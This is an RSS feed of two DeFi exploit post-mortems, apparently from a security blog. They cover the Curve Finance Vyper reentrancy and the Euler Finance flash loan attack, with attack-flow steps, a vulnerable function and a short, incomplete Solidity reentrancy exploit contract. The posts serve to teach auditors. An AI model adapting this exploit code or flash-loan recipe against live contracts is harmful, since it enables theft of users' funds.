<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Analysis on 0xtracer</title><link>https://0xtracer.xyz/analysis/</link><description>Recent content in Analysis on 0xtracer</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Tue, 21 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://0xtracer.xyz/analysis/index.xml" rel="self" type="application/rss+xml"/><item><title>Curve Finance Reentrancy Deep Dive</title><link>https://0xtracer.xyz/analysis/curve-finance-reentrancy/</link><pubDate>Tue, 21 Apr 2026 00:00:00 +0000</pubDate><guid>https://0xtracer.xyz/analysis/curve-finance-reentrancy/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>On July 30, 2023, multiple Curve Finance pools were exploited due to a reentrancy vulnerability in Vyper compiler versions 0.2.15, 0.2.16, and 0.3.0.&lt;/p>
&lt;h2 id="root-cause">Root Cause&lt;/h2>
&lt;p>The Vyper compiler&amp;rsquo;s &lt;code>@nonreentrant&lt;/code> decorator was malfunctioning in affected versions. The reentrancy lock storage slot was being incorrectly mapped, causing the guard to not trigger on reentrant calls.&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-vyper" data-lang="vyper">@external
@nonreentrant(&amp;#34;lock&amp;#34;)
def remove_liquidity(...):
# This should have been protected by reentrancy guard
# but the compiler bug allowed reentrant calls
&lt;/code>&lt;/pre>&lt;h2 id="attack-flow">Attack Flow&lt;/h2>
&lt;ol>
&lt;li>Attacker calls &lt;code>add_liquidity()&lt;/code> on the vulnerable pool&lt;/li>
&lt;li>During the callback (via raw_call), attacker reenters &lt;code>remove_liquidity()&lt;/code>&lt;/li>
&lt;li>The reentrancy guard fails to block the second call&lt;/li>
&lt;li>Pool state is inconsistent — attacker withdraws more than deposited&lt;/li>
&lt;/ol>
&lt;h2 id="proof-of-concept">Proof of Concept&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-solidity" data-lang="solidity">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">interface&lt;/span> &lt;span style="color:#a6e22e">ICurvePool&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">add_liquidity&lt;/span>(&lt;span style="color:#66d9ef">uint256&lt;/span>[&lt;span style="color:#ae81ff">2&lt;/span>] calldata amounts, &lt;span style="color:#66d9ef">uint256&lt;/span> min_mint_amount) &lt;span style="color:#66d9ef">external&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">remove_liquidity&lt;/span>(&lt;span style="color:#66d9ef">uint256&lt;/span> _amount, &lt;span style="color:#66d9ef">uint256&lt;/span>[&lt;span style="color:#ae81ff">2&lt;/span>] calldata min_amounts) &lt;span style="color:#66d9ef">external&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">contract&lt;/span> &lt;span style="color:#a6e22e">CurveExploit&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ICurvePool pool;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">bool&lt;/span> entered;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">attack&lt;/span>() &lt;span style="color:#66d9ef">external&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool.add_liquidity([&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">ether&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>], &lt;span style="color:#ae81ff">0&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> receive() &lt;span style="color:#66d9ef">external&lt;/span> &lt;span style="color:#66d9ef">payable&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> (&lt;span style="color:#f92672">!&lt;/span>entered) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> entered &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> pool.remove_liquidity(pool.balanceOf(&lt;span style="color:#66d9ef">address&lt;/span>(this)), [&lt;span style="color:#ae81ff">0&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="key-takeaway">Key Takeaway&lt;/h2>
&lt;p>This incident highlights the risk of relying on compiler-level security guarantees. The vulnerability existed not in the Solidity/Vyper source code but in the compiled bytecode. Auditing only the source code would not have caught this bug.&lt;/p></description></item><item><title>Euler Finance Flash Loan Attack Analysis</title><link>https://0xtracer.xyz/analysis/euler-flash-loan/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://0xtracer.xyz/analysis/euler-flash-loan/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>On March 13, 2023, Euler Finance was exploited for approximately $197M through a sophisticated flash loan attack that abused the protocol&amp;rsquo;s donation mechanism.&lt;/p>
&lt;h2 id="root-cause">Root Cause&lt;/h2>
&lt;p>Euler&amp;rsquo;s &lt;code>donateToReserves()&lt;/code> function allowed users to donate eTokens to the protocol reserves without a corresponding health check. This enabled attackers to manipulate their debt-to-collateral ratio.&lt;/p>
&lt;h2 id="attack-flow">Attack Flow&lt;/h2>
&lt;ol>
&lt;li>Flash loan large amount of DAI from Aave&lt;/li>
&lt;li>Deposit into Euler → receive eDAI&lt;/li>
&lt;li>Mint maximum dDAI (debt tokens) through leveraged borrowing&lt;/li>
&lt;li>Call &lt;code>donateToReserves()&lt;/code> with eDAI — reduces collateral without repaying debt&lt;/li>
&lt;li>Account is now underwater → trigger self-liquidation at a profit&lt;/li>
&lt;li>Repay flash loan, keep the difference&lt;/li>
&lt;/ol>
&lt;h2 id="vulnerable-code">Vulnerable Code&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-solidity" data-lang="solidity">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">donateToReserves&lt;/span>(&lt;span style="color:#66d9ef">uint&lt;/span> subAccountId, &lt;span style="color:#66d9ef">uint&lt;/span> amount) &lt;span style="color:#66d9ef">external&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Missing: health check after donation
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// The function reduces the sender&amp;#39;s eToken balance
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#75715e">// without verifying they remain solvent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> reserves &lt;span style="color:#f92672">+=&lt;/span> amount;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> balanceOf[sender] &lt;span style="color:#f92672">-=&lt;/span> amount;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="key-takeaway">Key Takeaway&lt;/h2>
&lt;p>Any state-changing function that modifies a user&amp;rsquo;s collateral or debt position must include a health factor check afterward. The &lt;code>donateToReserves()&lt;/code> function was audited but the edge case of self-donation leading to insolvency was missed.&lt;/p></description></item></channel></rss>